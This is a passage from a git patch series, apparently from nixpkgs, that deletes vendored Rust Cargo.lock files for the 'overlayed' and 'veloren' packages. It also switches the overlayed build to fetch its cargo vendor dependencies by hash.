- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.59.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
-dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
-dependencies = [
- "windows_aarch64_gnullvm 0.48.5",
- "windows_aarch64_msvc 0.48.5",
- "windows_i686_gnu 0.48.5",
- "windows_i686_msvc 0.48.5",
- "windows_x86_64_gnu 0.48.5",
- "windows_x86_64_gnullvm 0.48.5",
- "windows_x86_64_msvc 0.48.5",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
-dependencies = [
- "windows_aarch64_gnullvm 0.52.6",
- "windows_aarch64_msvc 0.52.6",
- "windows_i686_gnu 0.52.6",
- "windows_i686_gnullvm",
- "windows_i686_msvc 0.52.6",
- "windows_x86_64_gnu 0.52.6",
- "windows_x86_64_gnullvm 0.52.6",
- "windows_x86_64_msvc 0.52.6",
-]
-
-[[package]]
-name = "windows-version"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6998aa457c9ba8ff2fb9f13e9d2a930dabcea28f1d0ab94d687d8b3654844515"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
-
-[[package]]
-name = "windows_i686_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
-
-[[package]]
-name = "winnow"
-version = "0.5.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "winreg"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a277a57398d4bfa075df44f501a17cfdf8542d224f0d36095a2adc7aee4ef0a5"
-dependencies = [
- "cfg-if",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "wry"
-version = "0.43.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4d715cf5fe88e9647f3d17b207b6d060d4a88e7171d4ccb2d2c657dd1d44728"
-dependencies = [
- "base64 0.22.1",
- "block",
- "cocoa 0.26.0",
- "core-graphics 0.24.0",
- "crossbeam-channel",
- "dpi",
- "dunce",
- "gdkx11",
- "gtk",
- "html5ever",
- "http",
- "javascriptcore-rs",
- "jni",
- "kuchikiki",
- "libc",
- "ndk",
- "objc",
- "objc_id",
- "once_cell",
- "percent-encoding",
- "raw-window-handle",
- "sha2",
- "soup3",
- "tao-macros",
- "thiserror",
- "webkit2gtk",
- "webkit2gtk-sys",
- "webview2-com",
- "windows 0.58.0",
- "windows-core 0.58.0",
- "windows-version",
- "x11-dl",
-]
-
-[[package]]
-name = "wyz"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed"
-dependencies = [
- "tap",
-]
-
-[[package]]
-name = "x11"
-version = "2.21.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e"
-dependencies = [
- "libc",
- "pkg-config",
-]
-
-[[package]]
-name = "x11-dl"
-version = "2.21.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f"
-dependencies = [
- "libc",
- "once_cell",
- "pkg-config",
-]
-
-[[package]]
-name = "xattr"
-version = "1.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8da84f1a25939b27f6820d92aed108f83ff920fdf11a7b19366c27c4cda81d4f"
-dependencies = [
- "libc",
- "linux-raw-sys",
- "rustix",
-]
-
-[[package]]
-name = "xdg-home"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec1cdab258fb55c0da61328dc52c8764709b249011b2cad0454c72f0bf10a1f6"
-dependencies = [
- "libc",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "zbus"
-version = "4.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b8e3d6ae3342792a6cc2340e4394334c7402f3d793b390d2c5494a4032b3030"
-dependencies = [
- "async-broadcast",
- "async-executor",
- "async-fs",
- "async-io",
- "async-lock",
- "async-process",
- "async-recursion",
- "async-task",
- "async-trait",
- "blocking",
- "derivative",
- "enumflags2",
- "event-listener",
- "futures-core",
- "futures-sink",
- "futures-util",
- "hex",
- "nix",
- "ordered-stream",
- "rand 0.8.5",
- "serde",
- "serde_repr",
- "sha1",
- "static_assertions",
- "tracing",
- "uds_windows",
- "windows-sys 0.52.0",
- "xdg-home",
- "zbus_macros",
- "zbus_names",
- "zvariant",
-]
-
-[[package]]
-name = "zbus_macros"
-version = "4.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b7a3e850ff1e7217a3b7a07eba90d37fe9bb9e89a310f718afcde5885ca9b6d7"
-dependencies = [
- "proc-macro-crate 1.3.1",
- "proc-macro2",
- "quote",
- "regex",
- "syn 1.0.109",
- "zvariant_utils",
-]
-
-[[package]]
-name = "zbus_names"
-version = "3.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4b9b1fef7d021261cc16cba64c351d291b715febe0fa10dc3a443ac5a5022e6c"
-dependencies = [
- "serde",
- "static_assertions",
- "zvariant",
-]
-
-[[package]]
-name = "zerocopy"
-version = "0.7.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0"
-dependencies = [
- "byteorder",
- "zerocopy-derive",
-]
-
-[[package]]
-name = "zerocopy-derive"
-version = "0.7.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "zeroize"
-version = "1.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde"
-
-[[package]]
-name = "zip"
-version = "2.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "40dd8c92efc296286ce1fbd16657c5dbefff44f1b4ca01cc5f517d8b7b3d3e2e"
-dependencies = [
- "arbitrary",
- "crc32fast",
- "crossbeam-utils",
- "displaydoc",
- "indexmap 2.4.0",
- "memchr",
- "thiserror",
-]
-
-[[package]]
-name = "zvariant"
-version = "4.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4e09e8be97d44eeab994d752f341e67b3b0d80512a8b315a0671d47232ef1b65"
-dependencies = [
- "endi",
- "enumflags2",
- "serde",
- "static_assertions",
- "zvariant_derive",
-]
-
-[[package]]
-name = "zvariant_derive"
-version = "4.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72a5857e2856435331636a9fbb415b09243df4521a267c5bedcd5289b4d5799e"
-dependencies = [
- "proc-macro-crate 1.3.1",
- "proc-macro2",
- "quote",
- "syn 1.0.109",
- "zvariant_utils",
-]
-
-[[package]]
-name = "zvariant_utils"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "00bedb16a193cc12451873fee2a1bc6550225acece0e36f333e68326c73c8172"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
diff --git a/pkgs/by-name/ov/overlayed/package.nix b/pkgs/by-name/ov/overlayed/package.nix
index cdfc7a67f693..0180aaa78cc8 100644
--- a/pkgs/by-name/ov/overlayed/package.nix
+++ b/pkgs/by-name/ov/overlayed/package.nix
@@ -24,6 +24,9 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/apps/desktop/src-tauri";
 
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-6wN4nZQWrY0J5E+auj17B3iJ/84hzBXYA/bJsX/N5pk=";
+
   webui = callPackage ./webui.nix {
     inherit meta src version;
   };
@@ -42,15 +45,6 @@ rustPlatform.buildRustPackage rec {
     OPENSSL_NO_VENDOR = 1;
   };
 
-  cargoLock = {
-    lockFile = ./Cargo.lock;
-    outputHashes = {
-      "system-notification-0.1.0" = "sha256-T9SnKBy4x0Y5Ul6oECHJ/lvsYS2TPY8Nrg1R9JtJUXs=";
-      "tauri-nspanel-2.0.0-beta" = "sha256-PhMkSrmmc6fJ0GmT9lPwYMsyBap7/g8vIp210l2nFU4=";
-      "tauri-plugin-window-state-2.0.0-rc.1" = "sha256-8GR9q1+eiULDOtWlLy+sLylOzfAOUO5Q61EP/XvP6c0=";
-    };
-  };
-
   postPatch = ''
     substituteInPlace $cargoDepsCopy/libappindicator-sys-*/src/lib.rs \
       --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"

From 6447ea406289c52887238c2a44220469b02a0bdf Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 14 May 2025 01:37:01 +0200
Subject: [PATCH 0016/4511] veloren: don't vendor Cargo.lock

(cherry picked from commit 18623a1ebecfe2f5498c0328f93eaaac57be96d8)
---
 pkgs/by-name/ve/veloren/Cargo.lock  | 8947 ---------------------------
 pkgs/by-name/ve/veloren/package.nix |   20 +-
 2 files changed, 3 insertions(+), 8964 deletions(-)
 delete mode 100644 pkgs/by-name/ve/veloren/Cargo.lock

diff --git a/pkgs/by-name/ve/veloren/Cargo.lock b/pkgs/by-name/ve/veloren/Cargo.lock
deleted file mode 100644
index f9c58f456565..000000000000
--- a/pkgs/by-name/ve/veloren/Cargo.lock
+++ /dev/null
@@ -1,8947 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 3
-
-[[package]]
-name = "ab_glyph"
-version = "0.2.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "80179d7dd5d7e8c285d67c4a1e652972a92de7475beddfb92028c76463b13225"
-dependencies = [
- "ab_glyph_rasterizer",
- "owned_ttf_parser",
-]
-
-[[package]]
-name = "ab_glyph_rasterizer"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c71b1793ee61086797f5c80b6efa2b8ffa6d5dd703f118545808a7f2e27f7046"
-
-[[package]]
-name = "addr2line"
-version = "0.21.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb"
-dependencies = [
- "gimli",
-]
-
-[[package]]
-name = "adler"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
-
-[[package]]
-name = "adler32"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aae1277d39aeec15cb388266ecc24b11c80469deae6067e17a1a7aa9e5c1f234"
-
-[[package]]
-name = "ahash"
-version = "0.4.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0453232ace82dee0dd0b4c87a59bd90f7b53b314f3e0f61fe2ee7c8a16482289"
-
-[[package]]
-name = "ahash"
-version = "0.8.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e89da841a80418a9b391ebaea17f5c112ffaaa96f621d2c285b5174da76b9011"
-dependencies = [
- "cfg-if 1.0.0",
- "getrandom 0.2.12",
- "once_cell",
- "version_check",
- "zerocopy",
-]
-
-[[package]]
-name = "aho-corasick"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "allocator-api2"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5"
-
-[[package]]
-name = "alsa"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5915f52fe2cf65e83924d037b6c5290b7cee097c6b5c8700746e6168a343fd6b"
-dependencies = [
- "alsa-sys",
- "bitflags 1.3.2",
- "libc",
- "nix 0.23.2",
-]
-
-[[package]]
-name = "alsa-sys"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db8fee663d06c4e303404ef5f40488a53e062f89ba8bfed81f42325aafad1527"
-dependencies = [
- "libc",
- "pkg-config",
-]
-
-[[package]]
-name = "ambient-authority"
-version = "0.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e9d4ee0d472d1cd2e28c97dfa124b3d8d992e10eb0a035f33f5d12e3a177ba3b"
-
-[[package]]
-name = "android-activity"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "64529721f27c2314ced0890ce45e469574a73e5e6fdd6e9da1860eb29285f5e0"
-dependencies = [
- "android-properties",
- "bitflags 1.3.2",
- "cc",
- "jni-sys",
- "libc",
- "log",
- "ndk 0.7.0",
- "ndk-context",
- "ndk-sys 0.4.1+23.1.7779620",
- "num_enum 0.6.1",
-]
-
-[[package]]
-name = "android-properties"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc7eb209b1518d6bb87b283c20095f5228ecda460da70b44f0802523dea6da04"
-
-[[package]]
-name = "android-tzdata"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
-
-[[package]]
-name = "android_system_properties"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "anes"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4b46cbb362ab8752921c97e041f5e366ee6297bd428a31275b9fcf1e380f7299"
-
-[[package]]
-name = "anstream"
-version = "0.6.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d96bd03f33fe50a863e394ee9718a706f988b9079b20c3784fb726e7678b62fb"
-dependencies = [
- "anstyle",
- "anstyle-parse",
- "anstyle-query",
- "anstyle-wincon",
- "colorchoice",
- "utf8parse",
-]
-
-[[package]]
-name = "anstyle"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc"
-
-[[package]]
-name = "anstyle-parse"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c"
-dependencies = [
- "utf8parse",
-]
-
-[[package]]
-name = "anstyle-query"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648"
-dependencies = [
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "anstyle-wincon"
-version = "3.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7"
-dependencies = [
- "anstyle",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "anyhow"
-version = "1.0.81"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0952808a6c2afd1aa8947271f3a60f1a6763c7b912d210184c5149b5cf147247"
-
-[[package]]
-name = "anymap2"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d301b3b94cb4b2f23d7917810addbbaff90738e0ca2be692bd027e70d7e0330c"
-
-[[package]]
-name = "app_dirs2"
-version = "2.5.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7e7b35733e3a8c1ccb90385088dd5b6eaa61325cb4d1ad56e683b5224ff352e"
-dependencies = [
- "jni 0.21.1",
- "ndk-context",
- "winapi",
- "xdg",
-]
-
-[[package]]
-name = "approx"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f0e60b75072ecd4168020818c0107f2857bb6c4e64252d8d3983f6263b40a5c3"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "approx"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f2a05fd1bd10b2527e20a2cd32d8873d115b8b39fe219ee25f42a8aca6ba278"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "approx"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cab112f0a86d568ea0e627cc1d6be74a1e9cd55214684db5561995f6dad897c6"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "arbitrary"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d5a26814d8dcb93b0e5a0ff3c6d80a8843bafb21b39e8e18a6f05471870e110"
-
-[[package]]
-name = "arr_macro"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c49336e062fa2ae8aca17a2f99c34d9c1a5d30827e8aff1cb4c294f253afe992"
-dependencies = [
- "arr_macro_impl",
- "proc-macro-hack",
- "proc-macro-nested",
-]
-
-[[package]]
-name = "arr_macro_impl"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c6368f9ae5c6ec403ca910327ae0c9437b0a85255b6950c90d497e6177f6e5e"
-dependencies = [
- "proc-macro-hack",
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "arrayref"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6b4930d2cb77ce62f89ee5d5289b4ac049559b1c45539271f5ed4fdc7db34545"
-
-[[package]]
-name = "arrayvec"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "as-raw-xcb-connection"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "175571dd1d178ced59193a6fc02dde1b972eb0bc56c892cde9beeceac5bf0f6b"
-
-[[package]]
-name = "ascii"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d92bec98840b8f03a5ff5413de5293bfcd8bf96467cf5452609f939ec6f5de16"
-
-[[package]]
-name = "ash"
-version = "0.37.3+1.3.251"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "39e9c3835d686b0a6084ab4234fcd1b07dbf6e4767dce60874b12356a25ecd4a"
-dependencies = [
- "libloading 0.7.4",
-]
-
-[[package]]
-name = "assets_manager"
-version = "0.11.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05532e9c9a4c837c7eb0f8f1a1f9d357a168fb06dbf501d0bdfbe2fc5b0f1971"
-dependencies = [
- "ab_glyph",
- "ahash 0.8.11",
- "bincode",
- "crossbeam-channel",
- "log",
- "notify",
- "ron",
- "serde",
- "serde_json",
- "sync_file",
- "tar",
-]
-
-[[package]]
-name = "async-channel"
-version = "2.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f28243a43d821d11341ab73c80bed182dc015c514b951616cf79bd4af39af0c3"
-dependencies = [
- "concurrent-queue",
- "event-listener",
- "event-listener-strategy",
- "futures-core",
- "pin-project-lite",
-]
-
-[[package]]
-name = "async-trait"
-version = "0.1.78"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "461abc97219de0eaaf81fe3ef974a540158f3d079c2ab200f891f1a2ef201e85"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "atomic-polyfill"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8cf2bce30dfe09ef0bfaef228b9d414faaf7e563035494d7fe092dba54b300f4"
-dependencies = [
- "critical-section",
-]
-
-[[package]]
-name = "atomic_refcell"
-version = "0.1.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41e67cd8309bbd06cd603a9e693a784ac2e5d1e955f11286e355089fcab3047c"
-
-[[package]]
-name = "atomicwrites"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc7b2dbe9169059af0f821e811180fddc971fc210c776c133c7819ccd6e478db"
-dependencies = [
- "rustix",
- "tempfile",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "auth-common"
-version = "0.1.0"
-source = "git+https://gitlab.com/veloren/auth.git?rev=abb1a705827984e11706d7bb97fb7a459e1e6533#abb1a705827984e11706d7bb97fb7a459e1e6533"
-dependencies = [
- "rand 0.8.5",
- "serde",
- "uuid",
-]
-
-[[package]]
-name = "authc"
-version = "1.0.0"
-source = "git+https://gitlab.com/veloren/auth.git?rev=abb1a705827984e11706d7bb97fb7a459e1e6533#abb1a705827984e11706d7bb97fb7a459e1e6533"
-dependencies = [
- "auth-common",
- "fxhash",
- "hex",
- "http",
- "hyper",
- "hyper-rustls",
- "rust-argon2",
- "serde",
- "serde_json",
- "uuid",
-]
-
-[[package]]
-name = "autocfg"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
-
-[[package]]
-name = "axum"
-version = "0.6.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf"
-dependencies = [
- "async-trait",
- "axum-core",
- "bitflags 1.3.2",
- "bytes",
- "futures-util",
- "http",
- "http-body",
- "hyper",
- "itoa",
- "matchit",
- "memchr",
- "mime",
- "percent-encoding",
- "pin-project-lite",
- "rustversion",
- "serde",
- "serde_json",
- "serde_path_to_error",
- "serde_urlencoded",
- "sync_wrapper",
- "tokio",
- "tower",
- "tower-layer",
- "tower-service",
-]
-
-[[package]]
-name = "axum-core"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c"
-dependencies = [
- "async-trait",
- "bytes",
- "futures-util",
- "http",
- "http-body",
- "mime",
- "rustversion",
- "tower-layer",
- "tower-service",
-]
-
-[[package]]
-name = "backtrace"
-version = "0.3.69"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837"
-dependencies = [
- "addr2line",
- "cc",
- "cfg-if 1.0.0",
- "libc",
- "miniz_oxide",
- "object",
- "rustc-demangle",
-]
-
-[[package]]
-name = "base64"
-version = "0.21.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
-
-[[package]]
-name = "bincode"
-version = "1.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "bindgen"
